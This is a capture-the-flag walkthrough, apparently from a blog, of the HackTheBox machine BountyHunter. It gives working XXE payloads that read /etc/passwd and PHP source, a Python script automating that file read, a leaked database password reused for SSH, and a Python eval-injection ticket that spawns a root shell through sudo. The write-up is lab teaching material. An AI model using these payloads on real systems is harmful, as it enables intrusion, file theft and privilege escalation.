BountyHunter has a really nice simple XXE vulnerability in a webpage that provides access to files on the host. With that, I can get the users on the system, as well as a password in a PHP script, and use that to get SSH access to the host. To privesc, there’s a ticket validation script that runs as root that is vulnerable to Python eval injection.

Box Info

Name BountyHunter BountyHunter
Play on HackTheBox
Release Date 24 Jul 2021
Retire Date 20 Nov 2021
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for BountyHunter
Radar Graph Radar chart for BountyHunter
First Blood User 00:13:16InfoSecJack
First Blood Root 00:18:22InfoSecJack
Creator ejedev



nmap found two open TCP ports, SSH (22) and HTTP (80):

oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.91 ( ) at 2021-07-20 12:28 EDT
Nmap scan report for
Host is up (0.12s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 155.84 seconds
oxdf@parrot$ nmap -p 22,80 -sCV -oA scans/nmap-tcpscripts
Starting Nmap 7.91 ( ) at 2021-07-20 12:31 EDT
Nmap scan report for
Host is up (0.10s latency).

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 11.20 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 20.04 Focal.

Website - TCP 80


The site is for a pentesting / bug bounty group:

The About and Contact links just lead to areas on the main page. The Portal link leads to a simple page that says it’s still under development:


Clicking the link leads to /log_submit.php, a simple bug reporting form:


When I fill it out and hit submit, it shows what would have gone to the DB if it were implemented:


Directory Brute Force

I’ll run feroxbuster against the site, and include -x php since I know the site is PHP:

oxdf@parrot$ feroxbuster -u -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.2.1
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.2.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Cancel Menu™
200        5l       15w      125c
301        9l       28w      316c
301        9l       28w      309c
200      388l     1470w        0c
301        9l       28w      310c
301        9l       28w      313c
200        0l        0w        0c
403        9l       28w      277c
301        9l       28w      317c
301        9l       28w      327c
[####################] - 6m    419986/419986  0s      found:10      errors:359    
[####################] - 3m     59998/59998   333/s
[####################] - 3m     59998/59998   332/s
[####################] - 2m     59998/59998   336/s
[####################] - 3m     59998/59998   336/s
[####################] - 2m     59998/59998   335/s
[####################] - 2m     59998/59998   440/s
[####################] - 2m     59998/59998   446/s

Most of the results I already knew about, but db.php is interesting, especially since the site said there was no DB connected yet.

Tech Stack

Nothing interesting in the page source or in the response headers:

HTTP/1.1 200 OK
Date: Tue, 20 Jul 2021 16:37:31 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 25169
Connection: close
Content-Type: text/html; charset=UTF-8

The Apache version matches what nmap reported above.

The biggest thing of interest is the POST request to submit the bounty report:

POST /tracker_diRbPr00f314.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 227
DNT: 1
Connection: close


The data looks to be base64-encoded, and then url encoded (because the = on the end becomes %3d).

Throwing that blob over to Burp Decoder, I’ll select Decode as url and then base64:


Interestingly, the result is XML:

<?xml  version="1.0" encoding="ISO-8859-1"?>

Shell as development

XXE File Read


Any time I can submit XML to a site, I’ll check for an XML External Entities attack. The idea is that this website is taking the XML input and parsing it to get the different values out. In the site on BountyHunter, it must be pulling the title, cwe, cvss, and reward variables so that it can display them back on the results page.

If the site doesn’t properly handle the XML input, the libraries that parse it will allow the user to put in control text that does things like create variables and read files. This can be used in more advanced scenarios to perform server-side request forgeries (SSRF) or in cases where no user data is displayed back, use out of band connections to exfil data. But in the simplest case, XXEs are used to read files.

The example classic payload looks something like this (example from PayloadsAllTheThings):

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

The first line is very similar to what is sent in the POST for BountyHunter, and the last line is the XML data itself. The middle lines are defining an entity which includes the variable &file which is the contents of the /etc/passwd file. This allows the user to send in the contents of files they can’t read as input, and if that input is displayed back, then the exploit allows for file read.

POC On BountyHunter

With this version of XXE exploit, it’s important to work with the structure of the original data:

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT bar ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

The DOCTYPE name (foo) and the ELEMENT name (bar) are not important. It’s the entity that’s defined, in this case, xxe, which will be the contents of /etc/passwd that matters. I’ll reference that value later with the variable name proceeded by & and ending with ;.

I’ll throw that into a file and base64 encode it (-w0 to prevent line wrapping):

oxdf@parrot$ base64 -w0 xxe-passwd

Back in Burp, I’ll find the POST request, right click, and send to Repeater. There I’ll edit the data to be the new payload. I’ll then select the entire base64-string (but not data=) and push Ctrl-u to url-encode it. When I hit Send, the result contains /etc/passwd:


It’s sitting where the title input would have been, where I had &xxe;.

PHP File Reads

I’ll take a guess that the web root on this host is /var/www/html. If that’s the case, I should be able to read /var/www/html/index.php. I’ll update the payload, but it just returns empty. This could be because the location isn’t right, but it also could be the the code is failing to process the PHP as an entity and that’s breaking the process.

One way to get around this is to try a PHP filter. PayloadsAllTheThings has an example of this too:

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <address>42 rue du CTF</address>

For BountyHunter, that would look like:

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT bar ANY >
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >]>

Sending that gets base64 text as the title:


And it decodes to /etc/passwd:

oxdf@parrot$ echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMDoxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMToxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4OjEwMjoxMDQ6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbiwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDY6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXNsb2c6eDoxMDQ6MTEwOjovaG9tZS9zeXNsb2c6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjEwNjoxMTE6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCnV1aWRkOng6MTA3OjExMjo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA4OjExMzo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCmxhbmRzY2FwZTp4OjEwOToxMTU6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMTA6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTExOjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1jb3JlZHVtcDp4Ojk5OTo5OTk6c3lzdGVtZCBDb3JlIER1bXBlcjovOi91c3Ivc2Jpbi9ub2xvZ2luCmRldmVsb3BtZW50Ong6MTAwMDoxMDAwOkRldmVsb3BtZW50Oi9ob21lL2RldmVsb3BtZW50Oi9iaW4vYmFzaApseGQ6eDo5OTg6MTAwOjovdmFyL3NuYXAvbHhkL2NvbW1vbi9seGQ6L2Jpbi9mYWxzZQp1c2JtdXg6eDoxMTI6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4K" | base64 -d

This works changing the file to /var/www/html/index.php as well:


Script It

Because I want to be able to read files easily (and I never want to pass up a chance to practice coding), I’ll write a short Python script:

#!/usr/bin/env python3

import requests
import sys
from base64 import b64encode, b64decode

if len(sys.argv) != 2:
    print(f"usage: {sys.argv[0]} filename")

xxe = f"""<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT bar ANY >
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={sys.argv[1]}" >]>

payload = b64encode(xxe.encode())

resp ='',
        data = {'data': payload},
        proxies = {'http': ''})

encoded_result = '>'.join(resp.text.split('>')[5:-21])[:-4]
result = b64decode(encoded_result)

It fills in the filename into the XXE payload, then encodes it, and sends it to BountyHunter. It gets the response, and pulls out the result, decodes it, and prints it.

oxdf@parrot$ python /etc/lsb-release
oxdf@parrot$ python /var/www/html/portal.php
Portal under development. Go <a href="log_submit.php">here</a> to test the bounty tracker.


The page made mention of the database not being active, but there was also a db.php identified by feroxbuster. The file appears set up with credentials:

oxdf@parrot$ python /var/www/html/db.php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";

I already pulled /etc/passwd. I’ll grep it to remove users who can’t login:

oxdf@parrot$ python /etc/passwd | grep -v -e false -e nologin


The only real user that I could SSH as at this point is development. I’ll give it a try with the creds from db.php and it works:

oxdf@parrot$ sshpass -p 'm19RoAU0hP41A1sTsq6K' ssh development@
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

I can now grab user.txt:

development@bountyhunter:~$ cat user.txt

Shell as root


In development’s homedir, in addition to user.txt, there’s a contract.txt and a skytrain_inc folder:

development@bountyhunter:~$ ls
contract.txt  skytrain_inc  user.txt

contract.txt is a message:

Hey team,

I’ll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the “rm -rf” incident and we can’t mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

– John

The skytrain_inc folder has a folder that’s owned by root and a Python script:

root@bountyhunter:/home/development/skytrain_inc# ls -l
total 8
drwxr-xr-x 2 root root 4096 Jun 15 16:37 invalid_tickets
-rwxr--r-- 1 root root 1471 Jun 15 16:31

The note mentions that permissions were given, and development has permissions to run as root:

development@bountyhunter:~/skytrain_inc$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /home/development/skytrain_inc/

The script looks to do just what it says, parsing markdown files and validating various aspects:

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
        print("Wrong file type.")

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")

        if x.startswith("__Ticket Code:__"):
            code_line = i+1

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
        print("Invalid ticket.")


There are four invalid tickets in the folder:

development@bountyhunter:~/skytrain_inc$ ls invalid_tickets/

For example,

# Skytrain Inc
## Ticket to Bridgeport
##Issued: 2021/04/06
#End Ticket

Running the script reports that the ticket is invalid, but doesn’t give much more than that:

development@bountyhunter:~/skytrain_inc$ python3 invalid_tickets/ 
Please enter the path to the ticket file.
Destination: Bridgeport
Invalid ticket.

Eval Exploit


The risky call in the Python script is eval, which runs input as Python code. Based on the invalid tickets, it looks like it’s using the eval to do some math in a string. But I can make it do much more than that.

I’ll need to construct a ticket that gets to that point in the script:

  1. First row starts with “”# Skytrain Inc”
  2. Second row starts with “## Ticket to “
  3. There needs to be a line that starts with “__Ticket Code:__”
  4. The line after the ticket code line must start with “**”
  5. The text after the “**” until the first “+” must be an int that when divided by 7 has a remainder of 4.

If all those conditions are met, then the line (with “**” removed) will be passed to eval.

Valid Ticket

I’ll start by making a valid ticket. If the ticket is valid, that I know that eval is being called. Working from one of the invalid tickets, I came up with:

# Skytrain Inc
## Ticket to Bridgeport
__Ticket Code:__
##Issued: 2021/04/06
#End Ticket

It validates:

development@bountyhunter:/dev/shm$ sudo python3.8 /home/development/skytrain_inc/
Please enter the path to the ticket file.
Destination: Bridgeport
Valid ticket.

Eval Injection

The simplest way to inject into eval is to import the os modules and call system. In an eval injection, you do the import slightly differently:


So I’ll make a ticket that does just that:

# Skytrain Inc
## Ticket to Bridgeport
__Ticket Code:__
**32+110+43+ __import__('os').system('id')**
##Issued: 2021/04/06
#End Ticket

On neat thing about this injection is that even though the result is never printed, this call will print to the screen:

development@bountyhunter:/dev/shm$ sudo python3.8 /home/development/skytrain_inc/
Please enter the path to the ticket file.
Destination: Bridgeport
uid=0(root) gid=0(root) groups=0(root)
Valid ticket.

It’s even a valid ticket!


I’ll change id to /bin/bash:

# Skytrain Inc
## Ticket to Bridgeport
__Ticket Code:__
**32+110+43+ __import__('os').system('bash')**
##Issued: 2021/04/06
#End Ticket

And run it again:

development@bountyhunter:/dev/shm$ sudo python3.8 /home/development/skytrain_inc/
Please enter the path to the ticket file.
Destination: Bridgeport
root@bountyhunter:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)

And I can grab the flag:

root@bountyhunter:~# cat root.txt